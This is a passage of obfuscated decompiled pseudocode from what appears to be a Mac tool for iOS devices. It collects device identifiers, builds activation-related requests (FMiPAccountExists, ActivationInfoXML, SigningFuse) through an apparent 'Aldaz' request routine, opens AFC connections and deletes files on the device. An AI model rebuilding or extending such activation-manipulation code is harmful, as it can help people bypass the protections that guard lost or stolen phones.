"dictionaryWithObjects:forKeys:count:");
v88[1] = objc_retainAutoreleasedReturnValue(v94);
v133[2] = CFSTR("|\x99$\x1E\n\xD5\x45\x15o'\xFD");
*v146 = CFSTR("e\xEF\xD6\x53D\xEB\xF0\x12\xE0\x9B\xEE");
v95 = (__CFString *)BUILD;
if ( !BUILD )
v95 = &stru_10025B688;
*v145 = v95;
v146[1] = CFSTR("\xF6\xCF\xEC\x10-\xED\x84\xFF\x1ESnj");
v96 = (__CFString *)DeviceClass;
if ( !DeviceClass )
v96 = CFSTR("t2\x18\x84\b\x1DS");
v145[1] = v96;
v146[2] = CFSTR("/H,\xD7\x1C\x18\xE2\x74\x87|\x95ģ\x1A");
v145[2] = CFSTR("\xCD\xDF");
v146[3] = CFSTR("\x87\xBB\xED\xE4\x9F\xD3\xD4=(\x96\xDD\x4A");
v145[3] = CFSTR("T!\x8B\xA55\x18");
v146[4] = CFSTR("\xFE>\xF5\x8F\x04\x31");
v145[4] = CFSTR("\xC9\xF2\x9A\xDB\x51'~Ęr");
v146[5] = CFSTR("\xBB\x1D\\\xE4\x02\x78\xA1\xCE\x17\x9C\x96 ");
v97 = v145;
v98 = HikariFunctionWrapper_17965(&OBJC_CLASS___iOSDevice, "ProductType");
v99 = (__CFString *)objc_retainAutoreleasedReturnValue(v98);
if ( !v99 )
v99 = CFSTR("\xAD\xC5\x34\xEE\xEE\xDD=");
v97[5] = v99;
*v147 = 947112106;
break;
case 2096524388:
v2 = 0;
v1 = 2096524388;
v3 = -1057534925;
LABEL_203:
if ( !v2 )
v1 = v3;
LABEL_232:
*v147 = v1;
break;
case 2112101021:
objc_release(v114);
*v147 = -2071743297;
break;
}
}
}
else if ( v118 <= 1843266987 )
{
if ( v118 == 1798829575 )
{
*v147 = -542273761;
}
else if ( v118 == 1832566429 )
{
*v147 = 61537549;
}
}
else
{
switch ( v118 )
{
case 1843266988:
v0 = 1;
v1 = 1094972751;
v11 = -1199586376;
goto LABEL_230;
case 1864675442:
v4 = 1;
v1 = -967401752;
v5 = 614035288;
goto LABEL_210;
case 1873184362:
v0 = 0;
v1 = 183263816;
LABEL_147:
v11 = -1080493662;
goto LABEL_230;
}
}
}
if ( v118 > -1097690925 )
break;
if ( v118 <= -1866915649 )
{
if ( v118 <= -2071743298 )
{
if ( v118 > -2121924547 )
{
if ( v118 == -2121924546 )
{
v138 = idevice == 0;
v0 = 1;
v123 = &v101[-2];
v1 = -50423685;
v11 = -2121924546;
goto LABEL_230;
}
if ( v118 == -2078983836 )
{
gAldazDecryptedResponse = v103;
objc_release(v104);
*v147 = -1097690924;
}
}
else
{
if ( v118 == -2142991944 )
goto LABEL_148;
if ( v118 == -2133261858 )
{
*v147 = 877386254;
v143 = v142;
}
}
}
else if ( v118 <= -1989805975 )
{
if ( v118 == -2071743297 )
{
v2 = 0;
v1 = 1439245074;
v3 = -144753587;
goto LABEL_203;
}
if ( v118 == -1994286776 )
{
v1 = 831288979;
goto LABEL_232;
}
}
else
{
switch ( v118 )
{
case -1989805974:
v4 = 0;
v1 = -2121924546;
v5 = 801726167;
goto LABEL_210;
case -1960691548:
v0 = 1;
v1 = -158653543;
v11 = 973112795;
goto LABEL_230;
case -1901283176:
objc_release(v116);
v4 = 0;
v1 = 1415254276;
v5 = 26099100;
goto LABEL_210;
}
}
}
else if ( v118 > -1428580899 )
{
if ( v118 <= -1285899043 )
{
if ( v118 == -1428580898 )
{
v67 = objc_msgSend(AldazDevClass, "factoryRequest:device:", v125, idevice);
v114 = objc_retainAutoreleasedReturnValue(v67);
v68 = objc_msgSend(v114, "objectForKeyedSubscript:", CFSTR("\x12łh\xF2\x23\x5F\x92;%\x88"));
v69 = (__CFString *)objc_retainAutoreleasedReturnValue(v68);
v70 = v69;
if ( !v69 )
v70 = CFSTR("\x9Ez\x7F\xE2\x8D\x0B");
v126 = v70;
objc_retain(v70);
objc_release(v69);
v71 = objc_msgSend(
v114,
"objectForKeyedSubscript:",
CFSTR("\x93\xF2\xCC\x3E\xB4D\xE6\x1A\xED\xE2\xA9\x73̉\xDD\x38\x80"));
v72 = (__CFString *)objc_retainAutoreleasedReturnValue(v71);
v115 = v72;
if ( !v72 )
v72 = &stru_10025B688;
v130 = v72;
objc_retain(v72);
v4 = 0;
v1 = 1568934933;
v5 = -515065027;
goto LABEL_210;
}
if ( v118 == -1390446904 )
*v147 = 2112101021;
}
else
{
switch ( v118 )
{
case -1285899042:
showErrMessage(v130);
v2 = 0;
v1 = -1078435504;
v3 = 1798829575;
goto LABEL_203;
case -1199586376:
strcpy(asc_100282758, "SigningFuse");
aT_11[0] = 65;
aT_11[1] = 50;
aT_11[2] = 50;
*v147 = 1094972751;
break;
case -1118674927:
aT_11[3] = v141 ^ 0x83;
aT_11[4] = 53;
aT_11[5] = 0;
strcpy(asc_100282700, "FMiPAccountExists");
asc_1002826CB[0] = 68;
asc_1002826CB[1] = 101;
asc_1002826CB[2] = 118;
asc_1002826CB[3] = 105;
asc_1002826CB[4] = 99;
asc_1002826CB[5] = 101;
asc_1002826CB[6] = 73;
asc_1002826CB[7] = 68;
asc_1002826CB[8] = 0;
strcpy(asc_1002826B0, "ActivationInfoXML");
strcpy(asc_100282741, "DeviceInfo");
strcpy(asc_100282670, "ActivationRandomness");
asc_100282568[0] = 79;
asc_100282568[1] = 83;
asc_100282568[2] = 84;
asc_100282568[3] = 121;
asc_100282568[4] = 112;
asc_100282568[5] = 101;
asc_100282568[6] = 0;
strcpy(asc_100282640, "iPhone OS");
strcpy(aLh_0, "statusCode");
strcpy(asc_1002825E3, "DeviceVariant");
qmemcpy(aUb, "ActivationStat", 14);
v2 = 0;
v137 = 101;
v1 = -999212783;
v3 = 1832566429;
goto LABEL_203;
}
}
}
else if ( v118 <= -1801092077 )
{
if ( v118 == -1866915648 )
{
v4 = 1;
v1 = -862889920;
v5 = -968189671;
goto LABEL_210;
}
if ( v118 == -1853813695 )
*v147 = 623337137;
}
else
{
switch ( v118 )
{
case -1801092076:
v0 = 1;
v1 = -1118674927;
v11 = -999212783;
goto LABEL_230;
case -1735159675:
objc_release(v107);
*v129 = 0;
v63 = +[NSPropertyListSerialization dataWithPropertyList:format:options:error:](
&OBJC_CLASS___NSPropertyListSerialization,
"dataWithPropertyList:format:options:error:",
v120,
100,
0,
v129);
v124 = objc_retainAutoreleasedReturnValue(v63);
v102 = *v129;
objc_retain(v102);
v139 = v124 == 0;
v0 = 1;
v1 = 1647896543;
goto LABEL_172;
case -1618820782:
*v147 = 2096524388;
break;
}
}
}
if ( v118 <= -781024266 )
break;
if ( v118 <= -515065028 )
{
if ( v118 > -542273762 )
{
if ( v118 == -542273761 )
{
v4 = 1;
v1 = 13188399;
v5 = -534388949;
goto LABEL_210;
}
if ( v118 == -534388949 )
{
v0 = 1;
v1 = -2142991944;
v11 = 13188399;
goto LABEL_230;
}
}
else
{
if ( v118 == -781024265 )
{
v2 = !v142;
v1 = 1482751065;
v3 = -1994286776;
goto LABEL_203;
}
if ( v118 == -681714975 )
{
v0 = 0;
v1 = -297312796;
LABEL_172:
v11 = -1735159675;
goto LABEL_230;
}
}
}
else if ( v118 <= -297312797 )
{
if ( v118 == -515065027 )
{
v77 = HikariFunctionWrapper_17975(AldazDevClass, "factoryRequest:device:");
v78 = objc_retainAutoreleasedReturnValue(v77);
v79 = objc_msgSend(v78, "objectForKeyedSubscript:", CFSTR("\x12łh\xF2\x23\x5F\x92;%\x88"));
v80 = (__CFString *)objc_retainAutoreleasedReturnValue(v79);
v81 = v80;
if ( !v80 )
v81 = CFSTR("\x9Ez\x7F\xE2\x8D\x0B");
objc_retain(v81);
objc_release(v80);
v82 = objc_msgSend(
v78,
"objectForKeyedSubscript:",
CFSTR("\x93\xF2\xCC\x3E\xB4D\xE6\x1A\xED\xE2\xA9\x73̉\xDD\x38\x80"));
v83 = (__CFString *)objc_retainAutoreleasedReturnValue(v82);
if ( !v83 )
v83 = &stru_10025B688;
objc_retain(v83);
goto LABEL_200;
}
if ( v118 == -349763803 )
{
dword_10029F5A4 = 1;
*v147 = 1632557676;
}
}
else
{
switch ( v118 )
{
case -297312796:
objc_release(v107);
*v129 = 0;
v76 = +[NSPropertyListSerialization dataWithPropertyList:format:options:error:](
&OBJC_CLASS___NSPropertyListSerialization,
"dataWithPropertyList:format:options:error:",
v120,
100,
0,
v129);
objc_retainAutoreleasedReturnValue(v76);
objc_retain(*v129);
*v147 = -1735159675;
break;
case -230664101:
v73 = objc_msgSend(v124, "base64EncodedStringWithOptions:", 0);
v121 = objc_retainAutoreleasedReturnValue(v73);
*v123 = CFSTR("\xB1\x93\x13\x98\xAB\xA3\x0Ȇ\x984\xBA\x15e\xA6\xB2\x94\x87");
*v122 = v121;
v74 = objc_msgSend(&OBJC_CLASS___NSDictionary, v132, v122, v123, 1);
v75 = objc_retainAutoreleasedReturnValue(v74);
v4 = 0;
v125 = v75;
v1 = -1853813695;
v5 = 108950147;
goto LABEL_210;
case -158653543:
objc_release(v115);
v6 = (unsigned __int8)objc_msgSend(v126, "containsString:", CFSTR("J\xB0\xDD\x3FB\x89\x1E"));
objc_release(v126);
v142 = v6 != 0;
v2 = 0;
v1 = -158653543;
v3 = -781024265;
goto LABEL_203;
}
}
}
if ( v118 <= -968189672 )
break;
if ( v118 <= -898905799 )
{
if ( v118 == -968189671 )
{
objc_release(v130);
v4 = 1;
v1 = -862889920;
v5 = -1390446904;
LABEL_210:
if ( v4 )
v1 = v5;
goto LABEL_232;
}
if ( v118 == -967401752 )
{
v146[6] = CFSTR("\x93\xC6\xC9\xA8.\xBA\xF5\x6B\xAB\xA7z%ge\x97");
v15 = v145;
v16 = +[iOSDevice iOSVersion](&OBJC_CLASS___iOSDevice, "iOSVersion");
v17 = objc_retainAutoreleasedReturnValue(v16);
v18 = v17;
if ( !v17 )
v17 = CFSTR("\xAD\xC5\x34\xEE\xEE\xDD=");
v15[6] = v17;
v146[7] = CFSTR("C\x8D\xC0\xFB\xF8I\x9C\xD2\x35&");
v19 = v145;
v20 = +[iOSDevice RegionCode](&OBJC_CLASS___iOSDevice, "RegionCode");
v21 = objc_retainAutoreleasedReturnValue(v20);
v22 = v21;
if ( !v21 )
v21 = &stru_10025B688;
v19[7] = v21;
v146[8] = CFSTR("\x84\x86yi\x99\x92\x84\xD1\xDAh\xD7\x41D4D\bv\x1C=\xFF");
v145[8] = CFSTR("t\xE5\x9D\x2C\x0EJ");
v146[9] = CFSTR(",?\x04\xC8\x4A\x94\x88˖\xBFS\x14");
v23 = v145;
v24 = HikariFunctionWrapper_17967(&OBJC_CLASS___NSNumber, v106);
v25 = (__CFString *)objc_retainAutoreleasedReturnValue(v24);
v23[9] = v25;
v146[10] = CFSTR("^\x8D\xA3\xB2\xC2\x5B~\xAAp\xA2\x1C\xA6t");
v26 = v145;
v27 = HikariFunctionWrapper_17969(&OBJC_CLASS___iOSDevice, "UniqueKeyAuth");
v28 = (__CFString *)objc_retainAutoreleasedReturnValue(v27);
v26[10] = v28;
v29 = objc_msgSend(&OBJC_CLASS___NSDictionary, v132, v145, v146, 11);
v30 = objc_retainAutoreleasedReturnValue(v29);
*v112 = v30;
v31 = HikariFunctionWrapper_17971(&OBJC_CLASS___NSDictionary, v132);
objc_retainAutoreleasedReturnValue(v31);
objc_release(v30);
objc_release(v28);
objc_release(v25);
objc_release(v22);
objc_release(v18);
objc_release(v113);
objc_release(v111);
objc_release(v110);
objc_release(v109);
objc_release(v108);
*v147 = 614035288;
}
}
else
{
switch ( v118 )
{
case -898905798:
*v147 = -2078983836;
break;
case -862889920:
objc_release(v130);
*v147 = -968189671;
break;
case -841192207:
v2 = !v136;
v1 = -349763803;
v3 = 1843266988;
goto LABEL_203;
}
}
}
if ( v118 > -1078435505 )
break;
if ( v118 == -1097690924 )
{
v0 = 1;
v1 = -1901283176;
v11 = 26099100;
LABEL_230:
if ( !v0 )
v1 = v11;
goto LABEL_232;
}
if ( v118 == -1080493662 )
{
v136 = v117 == 0;
v0 = 1;
v1 = 1887068478;
goto LABEL_147;
}
}
if ( v118 == -1078435504 )
{
HikariFunctionWrapper_17977(v130);
goto LABEL_228;
}
if ( v118 != -999212783 )
break;
aT_11[3] = v141 ^ 0x83;
aT_11[4] = 53;
aT_11[5] = 0;
strcpy(asc_100282700, "FMiPAccountExists");
asc_1002826CB[0] = 68;
asc_1002826CB[1] = 101;
asc_1002826CB[2] = 118;
asc_1002826CB[3] = 105;
asc_1002826CB[4] = 99;
asc_1002826CB[5] = 101;
asc_1002826CB[6] = 73;
asc_1002826CB[7] = 68;
asc_1002826CB[8] = 0;
strcpy(asc_1002826B0, "ActivationInfoXML");
strcpy(asc_100282741, "DeviceInfo");
strcpy(asc_100282670, "ActivationRandomness");
asc_100282568[0] = 79;
asc_100282568[1] = 83;
asc_100282568[2] = 84;
asc_100282568[3] = 121;
asc_100282568[4] = 112;
asc_100282568[5] = 101;
asc_100282568[6] = 0;
strcpy(asc_100282640, "iPhone OS");
strcpy(aLh_0, "statusCode");
strcpy(asc_1002825E3, "DeviceVariant");
qmemcpy(aUb, "ActivationStat", 14);
*v147 = -1118674927;
}
}
while ( v118 != -1057534925 );
return v140;
}
// 10025B688: using guessed type __CFString stru_10025B688;
// 10025F9F8: using guessed type __objc2_class OBJC_CLASS___iOSDevice;
// 1002827D0: using guessed type __CFString cfstr_T_11;
// 100282810: using guessed type __CFString cfstr_C_11_0;
// 100282850: using guessed type __CFString cfstr_Y_11_0;
// 100282890: using guessed type __CFString stru_100282890;
// 1002828D0: using guessed type __CFString cfstr_Ez6b_0;
// 100282910: using guessed type __CFString cfstr_T_12;
// 100282950: using guessed type __CFString stru_100282950;
// 100282990: using guessed type __CFString stru_100282990;
// 1002829D0: using guessed type __CFString stru_1002829D0;
// 100282A10: using guessed type __CFString stru_100282A10;
// 100282A50: using guessed type __CFString cfstr_E_16_0;
// 100282A90: using guessed type __CFString stru_100282A90;
// 100282AD0: using guessed type __CFString stru_100282AD0;
// 100282B10: using guessed type __CFString stru_100282B10;
// 100282B50: using guessed type __CFString stru_100282B50;
// 100282B90: using guessed type __CFString stru_100282B90;
// 100282BD0: using guessed type __CFString stru_100282BD0;
// 100282C10: using guessed type __CFString cfstr_Lh_0_0;
// 100282C50: using guessed type __CFString stru_100282C50;
// 100282C90: using guessed type __CFString stru_100282C90;
// 100282CD0: using guessed type __CFString stru_100282CD0;
// 100282D10: using guessed type __CFString stru_100282D10;
// 100282D50: using guessed type __CFString stru_100282D50;
// 100282D90: using guessed type __CFString cfstr_T2;
// 100282DD0: using guessed type __CFString stru_100282DD0;
// 100282E10: using guessed type __CFString cfstr_Ub_1;
// 100282E50: using guessed type __CFString cfstr_J_12;
// 100282E90: using guessed type __CFString stru_100282E90;
// 100282ED0: using guessed type __CFString stru_100282ED0;
// 100282F10: using guessed type __CFString stru_100282F10;
// 100282F50: using guessed type __CFString stru_100282F50;
// 100282F90: using guessed type __CFString stru_100282F90;
// 10029F5A4: using guessed type int dword_10029F5A4;
// 10029F898: using guessed type __int64 idevice;
//----- (0000000100150341) ----------------------------------------------------
__int64 __fastcall OpenAFCConnection(__int64 a1)
{
char v1; // cf
int v2; // eax
int v3; // ecx
bool v4; // zf
int v5; // ecx
char v6; // cf
int v7; // ecx
unsigned int started; // eax
int v9; // eax
bool v10; // dl
__int64 v12; // [rsp+0h] [rbp-A0h] BYREF
__int64 v13; // [rsp+8h] [rbp-98h]
__int64 v14; // [rsp+10h] [rbp-90h]
__int64 v15; // [rsp+18h] [rbp-88h]
__int64 v16; // [rsp+20h] [rbp-80h]
__int64 v17; // [rsp+28h] [rbp-78h]
__int64 v18; // [rsp+30h] [rbp-70h]
__int64 v19; // [rsp+38h] [rbp-68h]
int v20; // [rsp+40h] [rbp-60h]
unsigned int v21; // [rsp+44h] [rbp-5Ch]
unsigned int v22; // [rsp+48h] [rbp-58h]
int v23; // [rsp+4Ch] [rbp-54h] BYREF
__int64 *v24; // [rsp+50h] [rbp-50h]
unsigned int v25; // [rsp+5Ch] [rbp-44h]
__int64 *v26; // [rsp+60h] [rbp-40h]
bool v27; // [rsp+69h] [rbp-37h]
bool v28; // [rsp+6Ah] [rbp-36h]
bool v29; // [rsp+6Bh] [rbp-35h]
bool v30; // [rsp+6Ch] [rbp-34h]
bool v31; // [rsp+6Dh] [rbp-33h]
bool v32; // [rsp+6Eh] [rbp-32h]
bool v33; // [rsp+6Fh] [rbp-31h]
int *v34; // [rsp+70h] [rbp-30h]
v20 = dword_10029F5A8;
v23 = 911816973;
v34 = &v23;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v23 > -229293479 )
{
if ( v23 <= 730500373 )
{
if ( v23 > 371906281 )
{
if ( v23 <= 544884919 )
{
if ( v23 > 480023788 )
{
if ( v23 == 480023789 )
{
*v34 = -1218749869;
}
else if ( v23 == 509776426 )
{
*v34 = -1107828937;
v17 = 0;
}
}
else if ( v23 == 371906282 )
{
*v34 = -998097095;
v19 = v14;
}
else if ( v23 == 425593704 )
{
*v34 = 1419992434;
}
}
else if ( v23 <= 621930429 )
{
if ( v23 == 544884920 )
{
v4 = !v27;
v2 = 1542674665;
v5 = 3912476;
goto LABEL_182;
}
if ( v23 == 560077972 )
*v34 = 634386656;
}
else
{
switch ( v23 )
{
case 621930430:
v4 = 0;
v2 = -1537578540;
v5 = -1566403469;
goto LABEL_182;
case 634386656:
v1 = 1;
v2 = -1445128194;
v3 = 704587992;
goto LABEL_164;
case 704587992:
v1 = 0;
v33 = v31 && v32;
v2 = -648687626;
v3 = -1445128194;
goto LABEL_164;
}
}
}
else if ( v23 <= 3912475 )
{
if ( v23 > -60858422 )
{
if ( v23 == -60858421 )
{
v14 = v18;
v4 = 0;
v2 = 22460163;
v5 = 900997257;
goto LABEL_182;
}
if ( v23 == -8052168 )
{
printf(aV_21, v21);
*v34 = -1290209469;
}
}
else
{
if ( v23 == -229293478 )
{
v6 = 1;
v2 = -1366616916;
v7 = 295395286;
goto LABEL_178;
}
if ( v23 == -105535028 )
{
v1 = 1;
v2 = -1802303828;
v3 = 1545637340;
goto LABEL_164;
}
}
}
else if ( v23 <= 130345091 )
{
if ( v23 == 3912476 )
goto LABEL_176;
if ( v23 == 22460163 )
*v34 = 900997257;
}
else
{
switch ( v23 )
{
case 130345092:
*(_DWORD *)v26 = 0;
started = AMDeviceStartService(a1, CFSTR("\xB3\xDD\x67\v\xFC\x85\x12\xAD,1\nV\xA9"), v26, 0);
v29 = started != 0;
v21 = started;
*v34 = 1803280646;
break;
case 295395286:
*v34 = -229293478;
break;
case 368681907:
*v34 = -716830427;
break;
}
}
}
else if ( v23 <= 1260956488 )
{
if ( v23 <= 900997256 )
{
if ( v23 > 881813194 )
{
if ( v23 == 881813195 )
{
*v24 = 0;
v25 = AFCConnectionOpen(v22, 0, v24);
v31 = v25 == 0;
v16 = *v24;
*v34 = -547093366;
}
else if ( v23 == 897897384 )
{
*v34 = 1260956489;
}
}
else
{
if ( v23 == 730500374 )
{
v6 = 1;
v2 = -2100700251;
v7 = 732051961;
goto LABEL_178;
}
if ( v23 == 732051961 )
*v34 = -2100700251;
}
}
else if ( v23 <= 914443771 )
{
if ( v23 == 900997257 )
{
v1 = 0;
v2 = 371906282;
v3 = 22460163;
LABEL_164:
if ( v1 )
v2 = v3;
goto LABEL_190;
}
if ( v23 == 911816973 )
{
v27 = v20 == 0;
*v34 = 544884920;
}
}
else
{
switch ( v23 )
{
case 914443772:
*(_DWORD *)v26 = 0;
AMDeviceStartService(a1, CFSTR("\xB3\xDD\x67\v\xFC\x85\x12\xAD,1\nV\xA9"), v26, 0);
LABEL_146:
*v34 = 130345092;
break;
case 1114991572:
*v34 = -1851867842;
break;
case 1216699380:
*v34 = -1949601131;
break;
}
}
}
else if ( v23 > 1803280645 )
{
if ( v23 <= 1852611388 )
{
if ( v23 == 1803280646 )
{
*v34 = 730500374;
}
else if ( v23 == 1818657609 )
{
v2 = -1359642294;
goto LABEL_190;
}
}
else
{
switch ( v23 )
{
case 1852611389:
v4 = 0;
v2 = -375940309;
v5 = -298634956;
goto LABEL_182;
case 1921753157:
v4 = 0;
v2 = -995429372;
v5 = 2053218575;
goto LABEL_182;
case 2053218575:
puts(asc_1002830D0);
v2 = 425593704;
goto LABEL_190;
}
}
}
else if ( v23 <= 1419992433 )
{
if ( v23 == 1260956489 )
{
v2 = 509776426;
goto LABEL_190;
}
if ( v23 == 1355908696 )
{
v1 = 0;
v2 = -387899084;
v3 = 1355908696;
goto LABEL_164;
}
}
else
{
switch ( v23 )
{
case 1419992434:
v4 = 0;
v2 = 1114991572;
v5 = -1851867842;
goto LABEL_182;
case 1542674665:
v6 = 0;
v2 = -963193188;
v7 = -1870171848;
goto LABEL_178;
case 1545637340:
v1 = 1;
v2 = 1545637340;
v3 = 368681907;
goto LABEL_164;
}
}
}
if ( v23 <= -1053428840 )
break;
if ( v23 > -615503247 )
{
if ( v23 <= -457433619 )
{
if ( v23 > -525009440 )
{
if ( v23 == -525009439 )
{
*v34 = -1824809134;
}
else if ( v23 == -468010411 )
{
v2 = 1852611389;
goto LABEL_190;
}
}
else if ( v23 == -615503246 )
{
v28 = a1 == 0;
v24 = &v12 - 2;
*v34 = -468010411;
}
else if ( v23 == -547093366 )
{
v2 = -1983024451;
goto LABEL_190;
}
}
else if ( v23 <= -387899085 )
{
if ( v23 == -457433618 )
{
strcpy(asc_1002830D0, "[AFC] Device nulo");
aV_21[0] = 91;
byte_100283071 = 65;
byte_100283072 = 70;
byte_100283073 = 67;
byte_100283074 = 93;
byte_100283075 = 32;
LABEL_176:
*v34 = -1746286680;
}
else if ( v23 == -411669815 )
{
strcpy(&byte_100283076, "Error iniciando servicio com.apple.afc: %d\n");
qmemcpy(&byte_100283000, "[AFC] Error creando ", 20);
v6 = 1;
v2 = 1216699380;
goto LABEL_123;
}
}
else
{
switch ( v23 )
{
case -387899084:
*v34 = -60858421;
v18 = 0;
break;
case -375940309:
*v34 = 1852611389;
break;
case -298634956:
v4 = !v28;
v2 = -105535028;
v5 = 1921753157;
goto LABEL_182;
}
}
}
else if ( v23 <= -963193189 )
{
if ( v23 > -995429373 )
{
if ( v23 == -995429372 )
{
puts(asc_1002830D0);
*v34 = 2053218575;
}
else if ( v23 == -970047373 )
{
strcpy(&byte_100283076, "Error iniciando servicio com.apple.afc: %d\n");
qmemcpy(&byte_100283000, "[AFC] Error creando ", 20);
*v34 = -411669815;
}
}
else if ( v23 == -1053428839 )
{
v4 = !v30;
v2 = 881813195;
v5 = -8052168;
LABEL_182:
if ( !v4 )
v2 = v5;
LABEL_190:
*v34 = v2;
}
else if ( v23 == -998097095 )
{
v15 = v19;
v6 = 0;
v2 = 295395286;
v7 = -229293478;
goto LABEL_178;
}
}
else if ( v23 <= -716830428 )
{
if ( v23 == -963193188 )
{
dword_10029F5A8 = 1;
*v34 = -1870171848;
}
else if ( v23 == -735432086 )
{
*v34 = -1983024451;
}
}
else
{
switch ( v23 )
{
case -716830427:
goto LABEL_146;
case -648687626:
v9 = 621930430;
if ( v33 )
v9 = -1107828937;
*v34 = v9;
v17 = v16;
break;
case -622882587:
*v34 = -615503246;
break;
}
}
}
if ( v23 > -1566403470 )
break;
if ( v23 <= -1851867843 )
{
if ( v23 > -1949601132 )
{
if ( v23 == -1949601131 )
{
byte_100283014 = 99;
byte_100283015 = 111;
byte_100283016 = 110;
byte_100283017 = 101;
byte_100283018 = 120;
byte_100283019 = 105;
byte_10028301A = -61;
byte_10028301B = -77;
strcpy(&byte_10028301C, "n AFC: %d\n");
strcpy(asc_100282FBE, "com.apple.afc");
*v34 = 1542674665;
}
else if ( v23 == -1870171848 )
{
dword_10029F5A8 = 1;
v6 = 0;
v26 = &v12 - 2;
v2 = -963193188;
v7 = -622882587;
goto LABEL_178;
}
}
else
{
if ( v23 == -2100700251 )
{
v10 = v29 || *(_DWORD *)v26 == 0;
v22 = *(_DWORD *)v26;
v30 = v10;
v2 = -1053428839;
goto LABEL_190;
}
if ( v23 == -1983024451 )
{
v32 = v16 != 0;
v1 = 1;
v2 = -1983024451;
v3 = 560077972;
goto LABEL_164;
}
}
}
else if ( v23 <= -1802303829 )
{
if ( v23 == -1851867842 )
{
v1 = 1;
v2 = 1114991572;
v3 = -1517008505;
goto LABEL_164;
}
if ( v23 == -1824809134 )
{
v6 = 1;
v2 = -411669815;
LABEL_123:
v7 = -970047373;
goto LABEL_178;
}
}
else
{
switch ( v23 )
{
case -1802303828:
*v34 = 1545637340;
break;
case -1746286680:
strcpy(asc_1002830D0, "[AFC] Device nulo");
v1 = 0;
aV_21[0] = 91;
byte_100283071 = 65;
byte_100283072 = 70;
byte_100283073 = 67;
byte_100283074 = 93;
byte_100283075 = 32;
v2 = -525009439;
v3 = -1746286680;
goto LABEL_164;
case -1733194267:
*v34 = 1355908696;
break;
}
}
}
if ( v23 > -1366616917 )
break;
if ( v23 <= -1517008506 )
{
if ( v23 == -1566403469 )
{
printf(&byte_100283000, v25);
v6 = 1;
v2 = 480023789;
v7 = -1537578540;
LABEL_178:
if ( !v6 )
v2 = v7;
goto LABEL_190;
}
if ( v23 == -1537578540 )
{
HikariFunctionWrapper_17979(&byte_100283000);
*v34 = -1566403469;
}
}
else
{
switch ( v23 )
{
case -1517008505:
*v34 = -998097095;
v19 = 0;
break;
case -1445128194:
*v34 = 704587992;
break;
case -1420475431:
*v34 = 1818657609;
break;
}
}
}
if ( v23 <= -1218749870 )
break;
if ( v23 == -1218749869 )
{
v6 = 0;
v2 = 897897384;
v7 = 1260956489;
goto LABEL_178;
}
if ( v23 == -1107828937 )
{
v13 = v17;
v1 = 0;
v2 = 1818657609;
v3 = -1420475431;
goto LABEL_164;
}
}
if ( v23 != -1359642294 )
break;
*v34 = -60858421;
v18 = v13;
}
if ( v23 == -1290209469 )
{
v6 = 1;
v2 = 1355908696;
v7 = -1733194267;
goto LABEL_178;
}
}
while ( v23 != -1366616916 );
return v15;
}
// 1002560F6: using guessed type __int64 __fastcall AFCConnectionOpen(_QWORD, _QWORD, _QWORD);
// 100256192: using guessed type __int64 __fastcall AMDeviceStartService(_QWORD, _QWORD, _QWORD, _QWORD);
// 100283014: using guessed type char byte_100283014;
// 100283015: using guessed type char byte_100283015;
// 100283016: using guessed type char byte_100283016;
// 100283017: using guessed type char byte_100283017;
// 100283018: using guessed type char byte_100283018;
// 100283019: using guessed type char byte_100283019;
// 10028301A: using guessed type char byte_10028301A;
// 10028301B: using guessed type char byte_10028301B;
// 10028301C: using guessed type char byte_10028301C;
// 100283071: using guessed type char byte_100283071;
// 100283072: using guessed type char byte_100283072;
// 100283073: using guessed type char byte_100283073;
// 100283074: using guessed type char byte_100283074;
// 100283075: using guessed type char byte_100283075;
// 100283076: using guessed type char byte_100283076;
// 100283110: using guessed type __CFString stru_100283110;
// 10029F5A8: using guessed type int dword_10029F5A8;
//----- (0000000100152119) ----------------------------------------------------
bool __fastcall AFCRemoveFile(__int64 a1, __int64 a2)
{
int v2; // eax
char v3; // cf
int v4; // ecx
int v5; // eax
int v7; // [rsp+Ch] [rbp-44h]
int v8; // [rsp+10h] [rbp-40h] BYREF
char v9; // [rsp+14h] [rbp-3Ch]
char v10; // [rsp+15h] [rbp-3Bh]
bool v11; // [rsp+16h] [rbp-3Ah]
bool v12; // [rsp+17h] [rbp-39h]
int *v13; // [rsp+18h] [rbp-38h]
bool v14; // [rsp+27h] [rbp-29h]
v9 = a1 != 0;
v8 = 1205409267;
v13 = &v8;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v8 > -10807133 )
{
if ( v8 <= 1376522128 )
{
if ( v8 > 942736168 )
{
if ( v8 == 942736169 )
{
v3 = 0;
v2 = -271390854;
v4 = -1398946044;
goto LABEL_39;
}
if ( v8 == 1205409267 )
{
v10 = (v9 + ((a2 != 0) | ~v9) + 1) & 1;
*v13 = -1060521905;
}
}
else
{
if ( v8 == -10807132 )
{
v7 = AFCRemovePath(a1, a2);
v2 = 1453499743;
goto LABEL_41;
}
if ( v8 == 79773802 )
*v13 = 1376522129;
}
}
else if ( v8 <= 1499910253 )
{
if ( v8 == 1376522129 )
{
v2 = -194352844;
goto LABEL_41;
}
if ( v8 == 1453499743 )
*v13 = -879098838;
}
else
{
switch ( v8 )
{
case 1499910254:
v3 = 1;
v2 = -10807132;
v4 = -1531186033;
goto LABEL_39;
case 1669587952:
v12 = v14;
v2 = 1376522129;
goto LABEL_41;
case 2140403578:
v2 = 942736169;
goto LABEL_41;
}
}
}
if ( v8 > -1060521906 )
break;
if ( v8 > -1398946045 )
{
if ( v8 == -1398946044 )
{
*v13 = 1669587952;
v14 = v11;
}
else if ( v8 == -1067220589 )
{
*v13 = -2118449023;
}
}
else if ( v8 == -2118449023 )
{
v11 = v7 == 0;
v3 = 1;
v2 = -767038385;
v4 = -2118449023;
LABEL_39:
if ( !v3 )
v2 = v4;
LABEL_41:
*v13 = v2;
}
else if ( v8 == -1531186033 )
{
AFCRemovePath(a1, a2);
*v13 = -10807132;
}
}
if ( v8 > -767038386 )
break;
if ( v8 == -1060521905 )
{
v5 = 1669587952;
if ( v10 )
v5 = 1499910254;
*v13 = v5;
v14 = 0;
}
else if ( v8 == -879098838 )
{
v3 = 1;
v2 = -2118449023;
v4 = -1067220589;
goto LABEL_39;
}
}
if ( v8 != -767038385 )
break;
*v13 = 2140403578;
}
if ( v8 != -271390854 )
break;
*v13 = 942736169;
}
}
while ( v8 != -194352844 );
return v12;
}
// 100152489: variable 'v7' is possibly undefined
// 100256138: using guessed type __int64 __fastcall AFCRemovePath(_QWORD, _QWORD);
//----- (0000000100152598) ----------------------------------------------------
